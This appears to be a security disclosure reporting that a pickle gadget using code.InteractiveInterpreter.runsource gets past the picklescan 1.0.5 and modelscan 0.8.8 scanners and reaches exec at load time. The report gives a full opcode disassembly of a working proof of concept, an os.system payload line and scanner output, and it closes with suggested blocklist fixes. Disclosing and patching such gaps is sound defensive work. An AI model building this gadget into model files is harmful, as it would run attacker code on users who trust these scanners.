code.InteractiveInterpreter.runsource pickle gadget bypasses picklescan 1.0.5 and modelscan 0.8.8 (Python 3.13)
Category: Pickle deserialization / scanner-bypass β new RCE gadget Targets:
- picklescan 1.0.5 (latest on PyPI) β https://github.com/mmaitre314/picklescan
- modelscan 0.8.8 (latest on PyPI) β https://github.com/protectai/modelscan
Tested runtime: CPython 3.13.12, joblib 1.5.3
Scanner runtime: Python 3.12 venv (modelscan requires
<3.13); picklescan 1.0.5 also run there.
Summary
A pickle stream that instantiates code.InteractiveInterpreter and then calls its
runsource unbound method reaches exec() at unpickle time, achieving arbitrary
code execution. Neither picklescan 1.0.5 nor modelscan 0.8.8 flags it:
- picklescan 1.0.5 blocklists the stdlib
codemodule with a single exact-string entry that names onlyInteractiveInterpreter.runcode. It does not listInteractiveInterpreter.runsource. Both globals in the payload are classified as merely Suspicious (0 Dangerous / 0 Infected) β identical to how it treats the gadgets it already accepts as covered. - modelscan 0.8.8 does not include the
codemodule in itsunsafe_globalsat all, and reports "No issues found".
Root cause
code.InteractiveInterpreter.runsource compiles a source string and executes it:
# CPython Lib/code.py (unchanged on 3.13)
class InteractiveInterpreter:
def runsource(self, source, filename="<input>", symbol="single"):
try:
code = self.compile(source, filename, symbol) # compile() the source
except (OverflowError, SyntaxError, ValueError):
self.showsyntaxerror(filename)
return False
if code is None:
return True
self.runcode(code) # -> exec(code, self.locals)
return False
def runcode(self, code):
try:
exec(code, self.locals) # <-- arbitrary code execution
...
picklescan's blocklist entry for the code module (picklescan 1.0.5,
src/picklescan/scanner.py, _unsafe_globals):
_unsafe_globals = {
...
"code": {"InteractiveInterpreter.runcode"}, # <-- runsource is NOT listed
...
}
Because runsource compiles with symbol="exec" and then delegates straight to
runcode -> exec, calling runsource is exactly as dangerous as calling
runcode, but only runcode is on the blocklist. modelscan never lists the code
module, so it misses both entrypoints.
PoC
A 183-byte protocol-4 pickle. A REDUCE chain (1) instantiates
code.InteractiveInterpreter(), then (2) calls the runsource unbound method with
(instance, malicious_source, "<input>", "exec"). runsource compiles the source in
exec mode and runs it via runcode -> exec.
Generator: gen_poc.py. Artifacts: evil.pkl, evil.joblib (identical bytes β
a joblib container is itself a pickle stream), control_os.pkl (negative control).
Disassembly of evil.pkl:
0: \x80 PROTO 4
2: c GLOBAL 'code InteractiveInterpreter.runsource'
41: ( MARK
42: c GLOBAL 'code InteractiveInterpreter'
71: ) EMPTY_TUPLE
72: R REDUCE # instance = InteractiveInterpreter()
73: \x8c SHORT_BINUNICODE "import os; os.system('id > PWNED_MARKER ...')"
165: \x8c SHORT_BINUNICODE '<input>'
174: \x8c SHORT_BINUNICODE 'exec'
180: t TUPLE (MARK at 41)
181: R REDUCE # runsource(instance, source, '<input>', 'exec') -> exec
182: . STOP
The malicious source executed is:
import os; os.system("id > PWNED_MARKER 2>&1; echo CODE_RUNSOURCE_GADGET >> PWNED_MARKER")
Captured evidence (verbatim)
EXECUTE β CPython 3.13.12, pickle.load(open('evil.pkl','rb'))
PWNED_MARKER written:
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),118(wireshark),119(kaboxer),982(bluetooth),999(lpadmin)
CODE_RUNSOURCE_GADGET
EXECUTE β CPython 3.13.12, joblib.load('evil.joblib') (joblib 1.5.3)
PWNED_MARKER written: same uid=1000(kali) ... output followed by CODE_RUNSOURCE_GADGET.
picklescan 1.0.5 β evil.pkl
Scanned files: 1
Infected files: 0
Suspicious globals: 2
Dangerous globals: 0
(exit=0)
Globals seen: GLOBAL 'code InteractiveInterpreter.runsource', GLOBAL 'code InteractiveInterpreter' β both classified Suspicious, none Dangerous.
modelscan 0.8.8 β evil.pkl
Scanning ... using modelscan.scanners.PickleUnsafeOpScan model
--- Summary ---
No issues found! π
(exit=0)
Negative control β control_os.pkl (classic posix.system reduce)
Proves detection is live in both scanners.
picklescan 1.0.5:
control_os.pkl: dangerous import 'posix system' FOUND
Infected files: 1
Dangerous globals: 1
modelscan 0.8.8:
Total Issues: 1
Total Issues By Severity: CRITICAL: 1
"Use of unsafe operator 'system' from module 'posix'"
(exit=1)
Impact
Any workflow that scans a .pkl / .joblib / pickle-backed model file with
picklescan 1.0.5 or modelscan 0.8.8 and then loads it (e.g. Hugging Face model
loading, joblib-serialized sklearn models) will pass the scan yet execute attacker
code on load. Both tools are the de-facto pre-load scanners for the ML supply chain.
Dedup / prior-art note
- No CVE or public advisory references
code.InteractiveInterpreter.runsource(orruncode) as a pickle gadget at the time of writing. - Distinct from all 15 gadgets picklescan already covers in its blocklist
(
marshal.loads,types.FunctionType,operator.call,dataclasses._create_fn,pydoc.pipepager,cProfile/timeit,posix.spawnv_passfds,logging.config.dictConfig, etc.). - The related
code.InteractiveConsolesubclass and theruncodemethod are already on picklescan's list;runsourceon the baseInteractiveInterpreterclass is the gap. It is the natural sibling entrypoint (compile+exec) and is missed by an exact string-match blocklist. - No prior Hugging Face repo or local workspace file references
code/runsource/InteractiveInterpreteras a gadget.
Suggested fix
picklescan should add InteractiveInterpreter.runsource (and, for completeness,
InteractiveConsole.runsource / push / interact, and compile_command) to the
code module entry β or blocklist the code module wholesale. modelscan should add
the code module to its unsafe_globals. A method-name allowlist/blocklist that
enumerates individual methods is inherently fragile against sibling entrypoints that
funnel into the same exec.